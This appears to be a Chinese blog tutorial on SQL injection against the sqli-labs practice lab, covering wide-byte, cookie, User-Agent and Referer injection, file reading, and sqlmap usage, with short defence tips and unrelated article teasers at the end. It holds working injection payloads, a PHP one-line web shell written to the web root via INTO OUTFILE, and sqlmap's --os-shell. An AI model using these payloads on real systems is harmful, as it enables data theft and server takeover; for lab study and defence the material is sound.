SQL注入漏洞 其他注入

news2024/12/25 11:23:28

文章目录

  • 宽字节注入
      • 案例
  • HTTP头部注入
    • Cookie注入
    • base64
    • User-Agent注入
    • Referer 注入
  • SQL注入读写文件
    • 条件
      • 1.是否拥有读写权限
      • 2.文件路径
      • 3.secure_file_priv
    • 读取文件
    • 写入文件
  • SQLMap
    • 安装sqlmap
      • kail 源安装
      • 仓库克隆
    • 参数简介
    • 快速入门;SQLmap(常规)使用步骤
    • POST注入方法
    • GetShell
  • SQL 注⼊漏洞防御

宽字节注入

宽字节注入是用在引号闭合前有转义字符\的他会让闭合引号失效,根据gbk编码前面加一个%变成url编码后再在5C 之前添加一个字符[81,FE] 之间,该字符就会和5c 组成一个汉字。

从而逃过转义限制

案例

在sqli-labs中less-32关中就有体现
进入关卡
在这里插入图片描述
寻找注入点
在这里插入图片描述
在这里插入图片描述
发现变化进行单引号闭合发现被转义
在这里插入图片描述
在闭合前加入字符81进行url编码%81连接后门的\的字符编码将\变为汉字失去转义功能
在这里插入图片描述
出现报错信息进行报错注入http://10.9.47.77/sqli-labs/Less-32/?id=2%81%27and%20updatexml(1,concat(0x5E,(select%20database()),0x5E),1)--+
在这里插入图片描述
http://10.9.47.77/sqli-labs/Less-32/?id=2%81'and updatexml(1,concat(0x3A,(select version()),0x3A),1)--+
在这里插入图片描述

HTTP头部注入

Cookie注入

对网页内容进行抓包在Cookie字段进行引号闭合寻找注入点
在这里插入图片描述
发现报错写入报错注入语句用#号闭合
在这里插入图片描述
如果#号无法闭合猜测后面还有单引号 可以使用 and ‘1进行闭合

base64

注入的参数需要进行base64 编码
在sqli-labs中less-22关中就有体现登录后发现cookie进行了编码
在这里插入图片描述
将cookie换成admin “进行闭合然后base64编码后发现报错存在sql注入
在这里插入图片描述
通过admin " order by 3 # 语句发现他的列数为3
在这里插入图片描述
使用联合查询爆出数据库名和版本admin " and 1=2 union select 1,version(),database() #
在这里插入图片描述

User-Agent注入

修改http头文件里的user-agent字段

User-Agent: xl’ and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1

sqli-labs18关有体现在这里插入图片描述
登录后我们可以看到浏览器指纹信息尝试在里面sql注入
进行报错注入

在这里插入图片描述

Referer 注入

在Referer 字段中注入sql语句

Referer: xl’ and updatexml(1,concat(0x5e,(select database()),0x5e),1) and ‘1
在sqli-labs-19中就有体现
在这里插入图片描述
我们在头文件里进行注入找到’ and '1进行闭合插入
在这里插入图片描述
加入sql语句
在这里插入图片描述

SQL注入读写文件

条件

1.是否拥有读写权限

想要进行文件读写需要检测用户是否拥有文件权限
?id=2 and 1=2 union select 1,user(),3 #
在这里插入图片描述
得到当前登录的用户名进行权限查询
?id=2 and 1=2 union select 1,user(),file_priv from mysql.user where user='root' and host = 'localhost' #
在这里插入图片描述

2.文件路径

读写时文件必须使用绝对路径

3.secure_file_priv

mySQL 数据库有关于文件读写的安全选项 secure_file_priv。

secure_file_priv 参数限制了 mysqld(MySQL DBMS) 的导入导出操作,这个选项是不能利用SQL 语句修改,必须修改 my.ini 配置文件,并重启 mysql 数据库。
在数据库中也可以查看
show global variables like '%secure_file_priv%';
在这里插入图片描述

参数含义
secure_file_priv=NULL限制 mysqld 不允许导入导出操作。
secure_file_priv=‘c:/ajest/’限制 mysqld 的导入导出操作在某个固定目录下,并且子目录有效。
secure_file_priv=不对 mysqld 的导入导出操作做限制。

本案例为空

读取文件

使用load_file函数进行文件读取
http://10.9.47.77/sqli-labs/Less-2/?id=2 and 1=2 union select 1,load_file("C:\\cms.sql"),3#
在这里插入图片描述
可以看到读取到了文件

写入文件

使用into outfile函数
http://10.9.47.77/sqli-labs/Less-2/?id=2 and 1=2 union select 1,"<?php @eval ($_REQUEST[777]);?>",3 into outfile "C:/phpstudy_2016/www/yjh.php" --+
在这里插入图片描述
文件上传成功
在这里插入图片描述

SQLMap

SQLMap 是一款专注于 SQLi 的工具,堪称神器。SQLmap 基于 Python 语言编写的命令行工具,集成在 Kali 中。

安装sqlmap

kail 源安装

sudo apt install sqlmap

仓库克隆

git clone https://github.com/sqlmapproject/sqlmap.git #将仓库克隆到本地
git fetch #检测更新
git pull   #更新

参数简介

参数含义
-u检测注入点
–dbs列出所有的库名
–current-user当前连接数据库用户的名字
–current-db当前数据库的名字
-D “cms”指定目标数据库为 cms
–tables列出数据库中所有的表名
-T “cms_users”指定目标表名为 cms_users
–columns列出所有的字段名
-C ‘username,password’指定目标字段
–dump列出字段内容
-r从文件中读取HTTP 请求
–os-shell在特定情况下,可以直接获得目标系统 Shell
–level 3设置 sqlmap 检测等级 3
–cookie=“username=admin”携带 Cookie 信息进行注入
-g利用 google 搜索引擎自动搜索注入点
–batch使用默认选项
–random-agent使用随机 User-Agent 信息
-v 3显示 payload

快速入门;SQLmap(常规)使用步骤

1、检测「注入点」

sqlmap -u 'http://xx/?id=1'
2、查看所有「数据库」

sqlmap -u 'http://xx/?id=1' --dbs

3、查看当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db
4、查看「数据表」

sqlmap -u 'http://xx/?id=1' -D 'security' --tables
5、查看「字段」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables

6、查看「数据」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump

POST注入方法

将遇到post请求在bp进行抓包将请求头文件放入一个文件里
使用

sqlmap -r 文件名

就可以跑post请求了

GetShell

  • 受到 secure_file_priv 选项的限制;

  • 填写路径时要写目标系统 Web 根目录的绝对路径

  • 目录权限
    启动sqlmap.\sqlmap.py -u "http://10.9.47.77/sqli-labs/Less-2/?id=2" --os-shell
    在这里插入图片描述
    可以看到引进进入选择一个语言然后选着自定义写入一个正确的绝对路径即可反弹
    在这里插入图片描述

SQL 注⼊漏洞防御

  • 避免采用拼接的方式构造 SQL 语句,可以采用PDO预编译等技术;

  • 对进入 SQL 语句的参数进行足够过滤。

  • 部署安全设备,如 WAF。定制武器库

利用编程语言写一些小工具。通过对工具的改造,达到定制化的目的,适用于不同的实战场景。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1185095.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Docker】设置容器系统字符集zh_CN.UTF-8退出失效:关于Docker容器配置环境变量,再次进入失效问题

设置容器系统字符集zh_CN.UTF-8退出失效&#xff1a;关于Docker容器配置环境变量&#xff0c;再次进入失效问题 修改正在运行的Docker容器内的字符集: 先进入Docker容器&#xff1a;docker exec -it 容器ID /bin/bash查看是否支持中文字符集&#xff1a;locale -a | grep zh&a…

B站双11,联手天猫暴涨2亿消费新势力

一直以来&#xff0c;手持高活跃、高粘性用户群体的B站是行业用来观察年轻人消费习惯的重要平台。以至于用户群体的不断壮大带动了B站的商业价值。如今B站的商业舞台越来越大&#xff0c;不断地向外界招手&#xff0c;欢迎更多品牌积极加入到这个千万年轻人聚集的内容社区。 2…

如何有效防爬虫?教你打造安全堡垒

企业拥抱数字化技术的过程中&#xff0c;网络犯罪分子的“战术”也更难以觉察&#xff0c;并且这些攻击越来越自动化和复杂&#xff0c;也更加难以觉察。在众多攻击手段总&#xff0c;网络爬虫是企业面临的主要安全挑战&#xff0c;对于企业所造成的经济损失是难以计量的。那么…

设备密集型单位如何提升效率?智能巡检软件哪个好?

在设备密集型单位&#xff0c;如钢铁、化工、电力、烟草、日用品等行业以及运维商&#xff0c;日常工作中面临着设备巡检这一重要且繁琐的任务。传统的巡检方式往往依靠纸质记录&#xff0c;数据难以进行统计或分析&#xff0c;巡检人员需要手动记录各种数据&#xff0c;不仅效…

visual studio 启用DPI识别功能

在开发widow程序时&#xff0c;有时必须将电脑 设置-->显示-->缩放与布局-->更改文本、应用项目的大小-->100%后&#xff0c;程序的画面才能正确运行&#xff0c;居说这是锁定了dpi的原因&#xff0c;需要启dpi识别功能。设置方法如下&#xff1a; 或者

unity - Blend Shape - 变形器 - 实践

文章目录 目的Blend Shape 逐顶点 多个混合思路Blender3Ds maxUnity 中使用Project 目的 拾遗&#xff0c;备份 Blend Shape 逐顶点 多个混合思路 blend shape 基于&#xff1a; vertex number, vertex sn 相同&#xff0c;才能正常混合、播放 也就是 vertex buffer 的顶点数…

CocosCreator让一个物体跟随鼠标移动(两种方式 本地坐标系和世界坐标系)

在 Cocos Creator 3.x 游戏运行时显示的画布大小就是屏幕区域&#xff0c;屏幕坐标是从画布的左下角为原点开始计算 在 Creator 3.x 里&#xff0c;屏幕和 UI 是完全区分开的&#xff0c;用户可以在没有 UI 的情况下点击屏幕获取触点信息。因此&#xff0c;获取屏幕触点&#…

Jmeter工具二次开发

一、JMeter 二次开发方向 1、函数开发&#xff0c;主要为JMeter 函数库 2、插件开发&#xff0c;一般主要做取样器开发 3、基于执行引擎开发&#xff0c;有效解决单独开发的测试平台或工具中&#xff0c;底层执行引擎开发相对复杂、周期长的问题&#xff0c;利用 JMeter 执行…

分享vmware和Oracle VM VirtualBox虚拟机的区别,简述哪一个更适合我?

VMware和Oracle VM VirtualBox虚拟机的区别主要体现在以下几个方面&#xff1a; 首先两种软件的安装使用教程如下&#xff1a; 1&#xff1a;VMware ESXI 安装使用教程 2&#xff1a;Oracle VM VirtualBox安装使用教程 商业模式&#xff1a;VMware是一家商业公司&#xff0c;而…

数据结构: 哈希桶

目录 1.概念 2.模拟实现 2.1框架 2.2哈希桶结构 2.3相关功能 Modify --Insert --Erase --Find 2.4非整型数据入哈希桶 1.仿函数 2.BKDR哈希 1.概念 具有相同地址的key值归于同一集合中,这个集合称为一个桶,各个桶的元素通过单链表链接 2.模拟实现 2.1框架 a.写出…

oracle数据导出exp导入imp

Oracle的exp/imp命令用于实现对数据库的导出/导入操作&#xff1b; exp命令用于把数据从远程数据库服务器导出至本地&#xff0c;生成dmp文件&#xff1b; imp命令用于把本地的数据库dmp文件从本地导入到远程的Oracle数据库。 一、获取帮助信息 exp/imp helpy 二、数据导出 1…

打破边界,一触即达——全新跨境电商业态,一键开启全球贸易新时代!

随着全球电子商务的飞速发展&#xff0c;跨境电商已成为连接国内外市场的桥梁。为了满足商家日益增长的海外拓展需求&#xff0c;我们重磅推出跨境电商源码商城&#xff0c;融合商家一键铺货、代理商后台、供货商后台、商品采集、短视频、直播、社交、分销、积分、多语言、国际…

阿里云双11优惠:云服务器1年99元,新老同享,续费同价!

阿里云2核2G3M带宽99元服务器新老用户同享&#xff0c;续费不涨价&#xff0c;99元即可续费&#xff0c;可以续费到2027年&#xff0c;相当于396元买4年&#xff0c;阿里云百科aliyunbaike.com来详细说下阿里云99元服务器配置、购买条件、优惠价格和续费攻略&#xff1a; 阿里…

js获取地址中携带的省市区

match() 方法可在字符串内检索指定的值&#xff0c;或找到一个或多个正则表达式的匹配。 match() 方法将检索字符串 String Object&#xff0c;以找到一个或多个与 regexp 匹配的文本。这个方法的行为在很大程度上有赖于 regexp 是否具有标志 g。如果 regexp 没有标志 g&#x…

图形界面应用案例——关灯游戏(以及扩展)(python)

7.8 图形界面应用案例——关灯游戏 题目: [案例]游戏初步——关灯游戏。 关灯游戏是很有意思的益智游戏,玩家通过单击关掉(或打开)一盏灯。如果关(掉(或打开)一个电灯,其周围(上下左右)的电灯也会触及开关,成功地关掉所有电灯即可过关。 图7-43 关灯游戏运行效…

阿里云服务器登录、安装MySql、配置Python、GO环境

1、刚购买的云服务如何登录 刚购买的ECS没有默认密码&#xff0c;需要先设置一下登录的密码。选中实例&#xff0c;右上角的全部操作-->重置实例密码 如果想通过SSH登录&#xff0c;则一定要勾选开启 修改之后ssh root你机器的ip&#xff0c;输入密码就可以愉快的开始你的操…

在Ubuntu下安装Redis

文章目录 前言一、配置JAVA运行环境二、Ubuntu下安装Redis1.安装c语言编译环境2.下载解压Redis3.make编译4.启动Redis4.运行Redis 三、性能测试总结 前言 版本 jdk版本&#xff1a;jdk-17_linux-x64_bin 地址&#xff1a;https://www.oracle.com/cn/java/technologies/downloa…

chatglm3-6b部署及微调

chatglm3-6b部署及微调 modelscope: https://modelscope.cn/models/ZhipuAI/chatglm3-6b/filesgithub: https://github.com/THUDM/ChatGLM3镜像: ubuntu20.04-cuda11.8.0-py38-torch2.0.1-tf2.13.0-1.9.4v100 16G现存 单卡 安装 软件依赖 pip install --upgrade pippip ins…

MySQL基础架构详解

概述 我们学习东西&#xff0c;都不应该是先去了解细节&#xff0c;而是应该窥其全貌&#xff0c;这样才能从高纬度去理解问题&#xff0c;同样我们学习mysql也是一样的&#xff0c;我们应该先了解整个mysql架构&#xff0c;及来龙去脉&#xff0c;才能更好的掌握它。下面我们开…

阿里云 :推出通义大模型编码助手产品【通义灵码】

本心、输入输出、结果 文章目录 阿里云 &#xff1a;推出通义大模型编码助手产品【通义灵码】前言通义灵码简介主要功能主要功能点 支持的语言和 IDEjetbrains IDEA 安装计费相关弘扬爱国精神 阿里云 &#xff1a;推出通义大模型编码助手产品【通义灵码】 编辑&#xff1a;简简…